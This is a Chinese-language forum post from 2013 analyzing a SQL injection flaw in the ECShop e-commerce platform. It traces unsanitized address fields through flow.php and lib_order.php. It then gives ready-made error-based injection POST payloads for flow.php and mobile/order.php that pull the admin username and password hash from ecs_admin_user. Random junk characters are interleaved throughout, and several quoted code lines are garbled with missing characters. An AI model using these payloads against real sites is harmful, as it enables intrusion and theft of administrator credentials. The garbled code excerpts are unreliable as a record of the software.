找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2194|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。8 K/ ^4 ?5 Q! b# u( o

6 F' X4 J6 e. E    漏洞关键文件:
% s+ Y  t6 }( A! P3 r# @8 h0 j9 X0 {7 Y2 i! F+ S$ a8 y
    /includes/lib_order.php
/ y' ]! ^+ g2 m( S6 F+ [; }# S7 q) g* D5 y! l+ P- B
    关键函数:; x* t. A5 s- z

3 b, p6 @4 Z8 K4 ~+ u% J
+ C- [* j4 y& D7 H
6 T, [! u+ c; W) n6 l01     function available_shipping_list($region_id_list)
1 B' j8 `0 H1 {; @( @7 E
+ F3 }; m$ {+ ]& x; z; g9 g02 {
8 r* [( W; b- K8 X9 o. }, w8 i) f# I  v- `3 O' m5 [. I" N$ ~
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 T" O' N1 S1 i6 }# Q: m  ]% W0 A% n) {5 T0 m; {- y; V/ A
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 1 L6 b0 x0 n, K

" I) B6 V" j7 W9 b1 K! X05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
8 I2 Q% H* H1 ]) m9 i& F3 O; `0 X! K' o, L3 W
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
) W: I+ W( [4 N  i
: J4 o/ m2 Z6 q3 G07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
, @. r3 j8 p. i4 S
9 C4 i- j" c( q1 l8 I08             'WHERE r.region_id ' . db_create_in($region_id_list) . . {% n( ?" @4 J- n
: ~( `1 D- s, _# {8 h# H) b
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
6 a' |! T& Q- c* L3 j
: ?+ Y' O$ j3 }& N- B6 S10   
5 D6 X# }6 `% x2 l, J
; {8 A, }7 y6 i7 a% V7 n1 ]- x11     return $GLOBALS['db']->getAll($sql); 9 v5 O: V' x) X3 F! J
4 G: h* s& h, Z, a
12 }   ^2 z) Q% {& n- }( s
/ _4 _& j7 }9 F
显然对传入的参数没有任何过滤就带入了查询语句。# v! b% a4 m' j# f1 E1 X. S7 c# s+ [
8 D( z  _! \8 w' ]2 l# Z
下面我们追踪这个函数在flow.php中:
- }1 w1 g$ v6 q, V  J0 `! b1 U 第531行:   5 l" Y- N# A4 u5 O
, m9 i/ T# }4 c  c
1 $shipping_list     = available_shipping_list($region); + i. S5 }* e. M; \. I  `% N
+ q1 g% _* m4 i; E. w+ l4 z

) M5 _6 ^2 K8 W$ P) D) R1 ?7 p" h9 z- V
2 g. J3 m1 \& j
9 f2 J6 R3 O; O* b% u; _0 b
再对传入变量进行追踪:
& ?, @5 I9 p# B: V8 g  m: r: U# G1 z! ~7 Z! R
第530行:    4 o9 e) Z3 i0 k
- J- B" ~8 d! N" n4 {1 `. i
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 4 L' j2 K9 e" G# D

, n/ C& ?/ r7 Y8 y+ @# h
! ~$ }# H1 C# ^; a. B$ X: {# L; z; z. \2 z3 e
+ T) Q- M" _" q! D

$ C+ [1 s9 Q4 {8 }# b第473行:        - F) M4 e6 H. x& W% x& {. z/ m7 Z

+ B: m1 p4 E& J; m4 Q( m1 $consignee = get_consignee($_SESSION['user_id']);
2 n& v5 Z5 P! Q) l+ l
# _2 [- w& M+ N' E到了一个关键函数:
5 M7 u: w# O) L; J! Z
' `  `* \2 M& N5 e8 O: s/includes/lib_order.php  g, ^9 X$ m! j9 s8 P4 a
/ j" q8 E( z. }: n% p7 u

, }2 l+ |# w- N5 z9 A$ w! t
& C, u) `8 d4 {7 K4 m  v, D" a * h0 c5 H" Z' k5 O& H- D( p
# V) B: |6 N! ^# }
01 function get_consignee($user_id)
/ L# F; A/ l) Y6 e5 v5 |2 M
+ R  T; D& v+ j/ d4 \- m$ T02 { 8 R$ a- Y; c) n
8 Q) c( H- O1 D
03     if (isset($_SESSION['flow_consignee']))
% ^. q' d; P& d$ T2 f
* S. D9 B% l/ m2 F4 v04     { 7 D3 z& `4 ^) D( W& r& w
; T( B/ l5 _: F8 g1 r* D4 ?- w. o" Y  Z
05         /* 如果存在session,则直接返回session中的收货人信息 */ $ y  ?3 e+ Y( b
. D# j( N& c* j  A4 ]
06   , o2 S1 U7 v! c

4 U! `& J7 S9 m8 K3 k) I: y07         return $_SESSION['flow_consignee'];
! h5 T, o) z7 S1 D9 I" d0 s$ k" r/ ^& I6 z
08     }
! u3 ~* p2 M3 R$ A: N
( G* i$ q* V3 i) |7 ?% S09     else
1 C; h4 D) o7 q- p1 x3 D: ]( [7 @7 s, Z
10     {
6 X. P- _+ d9 U0 n, j& g
4 `5 M+ U9 r! `1 [. `11         /* 如果不存在,则取得用户的默认收货人信息 */
2 p# N: t# `; r$ g
& }- Q/ q& h% z  Z0 o) @1 Y12         $arr = array(); " m7 e4 L8 C( `2 q
; W* }# C; B/ k3 X
13   
) ^' \' i6 f- |& L5 p8 j% F3 c& S4 l" ~( R
14         if ($user_id > 0) . y2 w8 W' N" T$ f* r7 K/ W
& C* a3 ]9 F$ L) [% J3 M2 F( T9 o2 A
15         {
) E' y- q+ k9 {* R4 ?7 N2 t' s4 N+ b+ G2 E: c7 X# Q4 G
16             /* 取默认地址 */ 9 E1 t$ N9 L+ n* N

. `2 g6 f& O6 |$ |, I8 }17             $sql = "SELECT ua.*". 5 m% h2 U' E# b8 [. s

, f7 s8 t6 n: {# }18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. + w/ m6 p( b% t2 H1 W. q$ N( ~

& p% z( |7 k4 j" L$ F& n) R3 a3 T6 T19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ! K5 i% h: w0 n4 s2 w% z; M1 T6 w5 }

9 G5 y& D+ x1 O# f20   - a( ^7 c& N: y! t9 P* C

1 v+ j2 ?8 I& S3 C) k1 j$ x7 m! G21             $arr = $GLOBALS['db']->getRow($sql); / B* B$ L" E2 r2 o+ s2 T2 |/ `3 g
& J; [, g5 b9 T& M8 {& L
22         } ' M' m6 N* Y+ L! t5 s

' {& }# j+ ?- O3 o% R3 l23   1 ~  j, G$ @9 P! s

2 o" t# V6 z; q! \24         return $arr;
: t& U2 M; c4 E* S2 r$ U* C! F! [0 ~
25     }
8 k# L0 X6 K. _* R6 L% |- l9 m2 P9 I9 h  F% @
26 }
' _! a* |) C4 E! j+ k* |9 q
  a0 C+ n5 e1 y4 l0 H& z4 [显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?' x  w* Z: _+ o& F! m3 r4 L/ T; x' z2 f
7 D/ T6 {( x  V1 F& V2 ?  j+ A) m

" Q" L* b  Z- o0 a$ m8 C- z  G% E2 _4 Z6 u4 U
关键点:
$ T  p( [8 z: g0 Q7 F, F) b6 l( |$ M9 s% A4 z. u5 c8 l0 n) X9 ~
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);/ C" {& W' R+ a2 q/ b. ?

4 y7 R2 r) v, y这里对传入参数反转义存入$_SESSION中。
$ v2 }- m. {3 _, y- Z5 ?% ~$ }  P# H( x" a; p& s
" V0 \: v4 u. _1 m7 z
8 z7 g+ v2 b4 W, e& b" d) s
然后看下:
) [; K3 i! ^8 m2 q1 m/ i
" q" K. o3 }5 `' |8 y
3 A  p: ^  l  q: V4 R
) \+ J1 M/ ~/ I  R! P/ ]5 L   
2 M1 F! `" B- p% \) g0 g. S9 P' P  n7 i' J9 V1 t2 e
01 $consignee = array( / l' i# N3 g7 O, |) }5 `5 @

/ U& D* c+ R( d- Z02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
$ Z4 _4 @6 i& P
4 }! T: p+ S8 S3 j03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
. F& D1 c/ k: J" r; |! S
4 }5 @  o4 t7 R/ G04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 2 S7 _* ^+ J# Z% Q+ v' l* ^6 a
/ c1 x8 z$ T* x5 @( r
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
2 G( d$ Z( Z: f2 i  M+ M3 m' B8 b& m) T" }
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
- v9 ~# o, x0 V$ \1 v: A: ?2 L' ?% I  F2 p, ^; u
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
! s: @7 v* J( U8 j6 o7 {' R2 c4 R& e# U. q8 N
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
/ {% f! }' X+ c7 ?0 S- U: f9 E4 ]" ^, B8 |
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
( T$ A+ e( n& B0 \. K0 B
8 m" N2 s+ D- \10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 0 `4 [& ~  j/ x5 g6 S
" P6 K! B! E2 M" J5 Z' b
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 3 M! i4 ]/ o6 X% o
6 m8 P- B4 n* M! Z% T0 }
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), - F/ i+ j: Y* I% e& o, j* \
! c( k, F; `& n1 P. o( g
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], " I! F. |. n, x- E9 z
) W" B3 ~: k3 F0 m) V6 x# u0 x
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
- x, \8 N  J6 `; \% E& B* S% R
# P8 g4 M: n5 ~: U4 z: _: B15     ); " }, S8 R% j6 _
3 E' `  @; T* c4 ]
好了注入就这样出现了。" V& ~& R: a% |) Q  L' u, B* R! N1 o% a
: F5 g8 `7 V  }$ G7 f. F7 H
==================" `) t9 P2 ^, ^9 r' K

6 E# N2 x. q' N1 a( I) k; h注入测试:; Q+ l9 O1 w0 n1 P7 G) K9 V) G

0 T( n& p4 s# L环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)- B& M6 F& P& R/ G1 `4 `
, V1 U' n' K: S& D
测试程序:ECShop_V2.7.3_UTF8_release11065 |6 q* v5 C* U+ r' i: v, S" _
/ P# V( P+ [5 }* {/ V  h

: Y; `5 R- m+ h* |2 a3 d/ l+ c6 Y1 ^4 Q3 D7 T9 x) {! a1 C! I7 c
1.首先需要点击一个商品加入购物车
2 {; M; k7 G) _4 f% g/ G
: X; M9 [) d! i+ x2 C  U; ?8 ^2.注册一个会员帐号
) B6 |/ p5 W; y' V* H  @2 r) [( E6 K/ F7 \( U) w" i
3.post提交数据
" n' ^  u1 x4 s: X9 {0 h, z' }) N* G1 V7 e; M; U0 i1 X8 p

& Y2 V7 y3 \3 \+ f" b! D3 h% _. T6 ^
1 http://127.0.0.1/ecshop/flow.php - S8 j/ m# f* {5 C7 |, o

, |. t8 A- ^. G$ w3 u9 k  H% |2   * j/ f$ K( g& D+ ^$ W: r
) j  u* t8 P* A, h% B. e$ y* Q4 {8 ]
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & Y7 Q, ~7 \; l- \5 f
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
+ _* F7 A0 X9 q# ]7 ^( O2 Z/ |3 M3 D0 r( O
我们搜寻关键函数function available_shipping_list()
( Q9 ]" C- @: x# ~* F# O; E1 \# d, M: L
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同; O2 d: }0 c5 H, y( ^# C8 T
/ h! U& Z7 k1 T) ^  O  F
利用exp:% r3 a+ e6 C% U
& v% Z: |1 ^/ I
1.点击一个商品,点击购买商标5 A9 X* |; q' Z+ `* [' w

* \) |& h1 @3 I' \) F2.登录会员帐号) N2 U3 v2 B, O/ y+ o% E, C& i7 r( {
( M2 @; l5 s8 Y8 m( _) n/ R
3.post提交:# d% P& S! \6 m' x( ^' C5 `; w

" F0 @( \3 v6 [8 N. I' ^1 Fhttp://127.0.0.1/ecshop/mobile/order.php- k+ i6 }5 D" U' e, {2 I% \% r- l
/ f$ H& ]* x- e% ~

) g3 h0 K/ U! {* m
  }) }* R: J, }, H+ @country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=. W! y9 j5 n$ i8 X

# n: O9 r* H) P7 D/ o( c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表